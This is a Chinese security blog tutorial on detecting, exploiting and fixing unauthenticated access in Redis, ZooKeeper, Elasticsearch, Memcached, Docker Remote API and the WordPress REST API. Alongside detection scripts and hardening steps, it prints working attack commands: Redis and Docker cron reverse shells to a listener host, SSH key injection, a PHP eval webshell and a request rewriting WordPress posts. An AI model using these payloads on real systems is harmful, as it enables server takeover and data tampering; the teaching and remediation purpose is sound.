未授权访问漏洞的检测与利用

一杯敬故乡,一杯敬远方

  最近在研究未授权访问漏洞的检测方式,也写了一部分检测脚本,准确率还挺高。当然光有检测还是不够的,最好能有漏洞利用过程,这样也好证明漏洞的风险性,便于推动漏洞修复也便于自己对漏洞更深入的了解。本文关于漏洞利用以及修复的内容绝大部分转载自:安全脉搏,其实个人习惯是不喜欢全文照搬其他文章的,但无奈这篇文章总结的很好,我又没很多时间去整理,因此对其改动的不多,请读者务必谅解。

redis未授权访问漏洞

漏洞描述

redis安装完以后,默认是没有账号密码的(安装redis详细可参考:redis相关笔记,如果redis是以root权限去运行,则可以被反弹shell或者写入ssh密钥,从而被获取服务器的权限。

漏洞检测

1
2
3
4
5
6
7
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
print "exist vul"

客户端连接测试一下:

1
2
3
4
5
$redis-cli -h host -p port
>CONFIG get requirepass
1) "requirepass"
2) ""
说明:表示没有设置密码,默认为没有密码。

漏洞利用

利用crontab反弹shell

自己服务器上监听一个端口(10.0.0.2)

1
nc -lvnp 4444

执行命令:

1
2
3
4
5
redis-cli -h 10.0.0.1
set x "\n* * * * * bash -i >& /dev/tcp/10.0.0.2/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

写ssh-keygen公钥登录服务器

利用条件:

1
2
1.redis对外开放,且未授权访问(默认配置)
2.服务器的ssh对外开放,可通过key登录

详细攻击方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
准备好自己的公钥,写入本地文件text.txt。
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
2. 通过redis将该文件写入内存
$ redis-cli -h 10.0.0.1 flushall
$ cat test.txt | redis-cli -h 10.0.0.1 -x set crackit
3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
$ redis-cli -h 10.0.0.1
10.0.0.1:6379> config set dir /Users/nmask/.ssh/
OK
10.0.0.1:6379> config get dir
1) "dir"
2) "/Users/nmask/.ssh"
10.0.0.1:6379> config set dbfilename "authorized_keys"
OK
10.0.0.1:6379> save
OK

获取web服务的webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。

1
2
3
4
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save

说明:执行以上命令,即可将shell写入web目录。

漏洞修复

到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
requirepass www.secpulse.com
3、在需要对外开放的时候修改默认端口
port 2333
4、最后还可以配合iptables限制开放

ZooKeeper未授权访问漏洞

漏洞描述

安装zookeeper之后默认是没有账号密码的,即没有权限校验,可被远程利用,通过目标服务器收集敏感信息,或者破坏zookeeper集群。

漏洞检测

1
2
3
4
5
6
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("envi")
result = s.recv(1024)
if "zookeeper.version" in result:
print "exist vul"

漏洞利用

执行以下命令即可远程获取该服务器的环境:

1
echo envi | nc ip port

直接连接:

1
./zkCli.sh -server ip:port

漏洞修复

1、禁止把Zookeeper直接暴露在公网
2、添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
3、绑定指定IP访问

Elasticsearch未授权访问

漏洞描述

ELK是一款日志分析工具,默认监听9200端口,如果没有设置访问权限,可被非法操作数据。

漏洞检测

1
2
3
4
5
conn = httplib.HTTPConnection(ip, port, True, TIMEOUT)
conn.request("GET", '/_cat/master')
resp = conn.getresponse()
if resp.status == 200:
print "exist vul"

漏洞利用

相当于一个API,任何人访问这个地址,就可以调用api,进行数据的增删改操作。
http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river

漏洞修复

1、防火墙上设置禁止外网访问9200端口。
2、使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证
3、限制IP访问,绑定固定IP
4、在config/elasticsearch.yml中为9200端口设置认证:

1
2
3
4
http.basic.enabled true #开关,开启会接管全部HTTP连接
http.basic.user "admin" #账号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]

memcache未授权访问

漏洞描述

memcached是一套常用的key-value缓存系统,其本身并没有权限控制模块,因此攻击者通过命令交互可直接读取memcached中的敏感信息。

漏洞检测

1
2
3
4
5
6
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("stats")
result = s.recv(1024)
if "STAT version" in result:
print "exist vul"

漏洞利用

1
nc -vv <target> 11211

说明:连接成功,则可获取memcached中的敏感信息。

漏洞修复

1、设置memchached只允许本地访问
2、禁止外网访问Memcached 11211端口
3、编译时加上–enable-sasl,启用SASL认证

Docker未授权访问

漏洞描述

Docker Remote API是一个取代远程命令行界面(rcli)的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

漏洞检测

1
2
3
4
5
conn = httplib.HTTPConnection(ip, port, True, TIMEOUT)
conn.request("GET", '/containers/json')
resp = conn.getresponse()
if resp.status == 200 and "HostConfig" in resp.read():
print "exist vul"

漏洞利用

获取所有images

1
http://host:2375/containers/json

getshell的方式与redis利用差不多。

利用计划任务反弹shell
1
echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab

漏洞修复

1、在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:
设置ACL,仅允许信任的来源IP连接;
设置TLS认证,官方的文档为Protect the Docker daemon socket
2、客户端连接时需要设置以下环境变量export DOCKER_TLS_VERIFY=1

1
2
3
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

3、在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证

wordpress未授权访问漏洞

漏洞描述

wordpress未经授权的攻击者利用该漏洞可注入恶意内容,以及进行提权,对文章、页面等内容进行修改。REST API是最近添加到WordPress 4.7.0并默认启用的。

漏洞利用

查看文章列表:

1
GET /index.php/wp-json/wp/v2/posts HTTP/1.1

修改文章内容:

1
2
3
4
5
6
POST /index.php/wp-json/wp/v2/posts/500?id=500 HTTP/1.1
Host: xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
Content-Type: application/json
Content-Length: 43
{"title":"x x x x"}

说明:如果返回 401 则无权限修改;返回200表示修改成功。

参考文章

https://www.secpulse.com/archives/61101.html
https://www.secpulse.com/archives/40406.html
http://www.freebuf.com/vuls/126120.html

本文标题:未授权访问漏洞的检测与利用

文章作者:nMask

发布时间:2017年12月08日 - 10:12

最后更新:2017年12月08日 - 11:12

原始链接:http://thief.one/2017/12/08/1/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

nMask wechat
欢迎您扫一扫上面的微信公众号,订阅我的博客!